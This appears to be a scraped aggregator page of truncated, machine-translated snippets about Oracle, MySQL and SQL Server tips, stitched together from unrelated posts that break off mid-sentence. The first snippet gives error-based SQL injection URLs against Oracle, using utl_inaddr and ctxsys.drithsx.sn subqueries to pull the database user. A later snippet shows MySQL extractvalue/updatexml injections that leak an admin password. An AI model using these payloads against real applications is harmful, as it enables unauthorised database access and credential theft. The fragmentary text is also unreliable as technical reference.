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---restore content starts---First, error injection(1) User name explosion (for: oracle8,9 and 10g):http://192.168. 2.10 /Ora2.php?name=1' and 1=utl_inaddr.get_host_name ((select User from Dual))-- (2) Fetching information based on error injection (for Oracle 11g):CTXSYS.DRITHSX.SN (1, (SQL statement))For example:http://192.168. 2.10 /Ora1.php?name=' and 1 = ctxsys.drithsx.sn (1, (select User from Dual))--S
Tags: related CLOB fields Federated recycle real-time Evel further runDynamic performance View V$sql_monitor, which displays SQL statement information for Oracle monitoring. The information in V$sql_monitor and V$sql_plan_monitor will be refreshed in real time, at 1 times per second. Once the SQL statement is executed, the monitoring information will not be delet
SQL single-row functions in Oracle databases-continued character FunctionsI practiced some character functions in the previous blog, and then I went to the next blog to read the relevant materials.The character function has not been practiced yet. This time, we mainly perform some supplementary exercises on some unused character functions.Ascii ()Returns the decimal number corresponding to the specified cha
1. Log in to PL/SQL DeveloperThis omits the installation steps for the Oracle database and PL/SQL Developer, and note that when you install the PL/SQL Developer software, do not install it under the program Files (x86) directory or you cannot start PL/SQL Developer.Wonder wh
For a period of time performance test, put oneself in the performance test process, use the Oracle used in the SQL statement to organize, do a memo;(1) Multiple fields are spliced in some format"||" string concatenation characters;Example: concatenation of "id" and "code" with commas: select T.id| | ', ' | | T.code from otable t;Note: MySQL uses the concat () function, select Concat (t.id, ', ', t.code) fro
A virtual index is a "false" index, which is defined in a data dictionary, but does not have the corresponding index segment, that is, it does not allocate any storage space. Using Virtual indexes, developersYou do not need to wait for the index to be created, or you do not need additional index storage space, you can use it as an index that already exists and test the execution plan of the SQL statement. If the optimizer isThe execution plan for
:43:21 25 jyxo4opew8j1ckvcpdjr 9 2009-12-08 19:43:22 10 donu6w9qvqm3kj2ug8lo 10 2009-12-08 19:43:23 76 j8djlvnouizdxe4uxujg 10 rows selected the preceding SQL statements are implemented using several practical tips in Oracle Database Syntax: 1. test records are generated using the connect by tree connection syntax unique to
to this problem error. In addition, two new XML functions are added to the mysql5.1 version, which can also be used to make an error. Mysql> SELECT * FROM article WHERE id = 1 and extractvalue (1, concat (0x5c, (select pass from admin limit 1)); Error 1105 (HY000): XPATH syntax error: ' \admin888 ' mysql> select * FROM article WHERE id = 1 and 1= (Updatexml (1,Concat (0x5e24, (select pass from admin limit 1), 0x5e24), 1); Error 1105 (HY000): XPATH syntax ERROR: ' ^ $admin 888^$ ' In other datab
A string connection operation is often used in sql:there is a contact () function in both Oracle and MySQL, only SQL Server does not, however, all three databases support: + to concatenate strings! in MySQL, there is a function that does not fully complement zero:Select Lpad (' 2 ', 3, ' 0 ');in SQL Server, we can print one data completely using printprint 3+3;an
, dept where emp. deptno = dept. deptno;Connection TypeThere are two types of connections: equijoin and non-equijoin.There are also some other Connection Methods: Multi-connection, self-connection, and fixed operators.EquijoinThe above has been used, that is, the where condition for table connection is that the column in one table is equal to the column in another table, usually the primary key andForeign key judgment and other connections. [SQL] sele
A recent project involving SQL Server 2008, because of business requirements, wanted to establish a unique index, but found that in SQL Server, a unique index field cannot have multiple null values, and the following is an error message:CREATE UNIQUE nonclustered INDEX on 'dbo. Users'weixin_openid_ui'CREATEUNIQUE The INDEX statement terminates. The duplicate key value is (NULL>).But theoretically, null
:43:21 25 jyxo4opew8j1ckvcpdjr 9 2009-12-08 19:43:22 10 donu6w9qvqm3kj2ug8lo 10 2009-12-08 19:43:23 76 j8djlvnouizdxe4uxujg 10 rows selected The preceding SQL statements are implemented using several practical tips in Oracle Database Syntax: 1. test records are generated using the connect by tree connection syntax unique to
Service Manager2) Connect internal login as internal3) Startup Open database6, Ora-12560:tns: Protocol adapter error (stubborn)Cause: Unknown.Solution: Must kill skill--open "Windows Task Manager", kill ORACLE.exe and ORADIM.exe process, write your own ora_startup.bat, execute it!Ps:1. My ora_startup.bat:net start Oracleorahome81tnslistenernet start oracleserviceoradbSVRMGRL generally do not use, but sometimes it is necessary, the concrete steps to see the 5th step.2. My ora_shutdown.bat:net st
oracle| Tips | Scripting Author: Anonymous Source: InterNet Add Time: 2004-11-10 1. How do I view implicit parameters for Oracle? Explicit parameters for Oracle, except as defined in the Init.ora file, can be displayed in SVRMGRL with "show parameter *". But Oracle also ha
-12-08 19:43:21 JYXO4OPEW8J1CKVCPDJR9 2009-12-08 19:43:22 Donu6w9qvqm3kj2ug8loTen 2009-12-08 19:43:23 J8DJLVNOUIZDXE4UXUJGRows selectedThe above SQL is implemented using several practical tips for Oracle database syntax:1, using Oracle's unique "Connect by" tree connection syntax to generate test records, "level 2, using rownum virtual column to generate incremen
Tags: n+1 tle ber and into else comment counter syntax Describes the Process Control statements for PL/SQL, including the following three classes: 1. Control statement: IF statement 2. Loop statement: Loop statement, EXIT statement 3. Sequential statement: GOTO statement, NULL statement a conditional statement IF Boolean expression> ThenPL/SQL and SQL statements
overlay index. tips for optimizing the SQL Server database's indexesCommon sense About indexing: Indexes are the biggest factor affecting database performance. Because of the complexity of the problem, I can only talk about it briefly, but there are several good books available for you to see here. I only discuss two types of SQL Server indexes here, the clust
Today, the top request to do a similar function, the initial thought of column change, but how to achieve there is no good way, this function is good The Decode function is an Oracle Pl/sql is one of the powerful functions, and currently only Oracle company SQL provides this function, other database vendors do not hav
"ora-01555:snapshot too old", if this problem, I will start from the point of view of the system design, why there is such a large query, Why the other transactions in this query will update the data, whether the query is just a check is enough, check the process needs to lock the table and so on. However, this problem can be solved by database tuning, but I think the point of view of the problem is to start from its own system design. Second, you s
1, class SQL Plus Windows: File->new->command window, this is similar to Oracle's client tool SQL Plus, but it is much more useful.2, set the keyword automatic capitalization: tools->preferences->editor, will keyword case select uppercase. When you enter SQL statements in a window, the keywords are automatically capitalized, and the others are lowercase. This is
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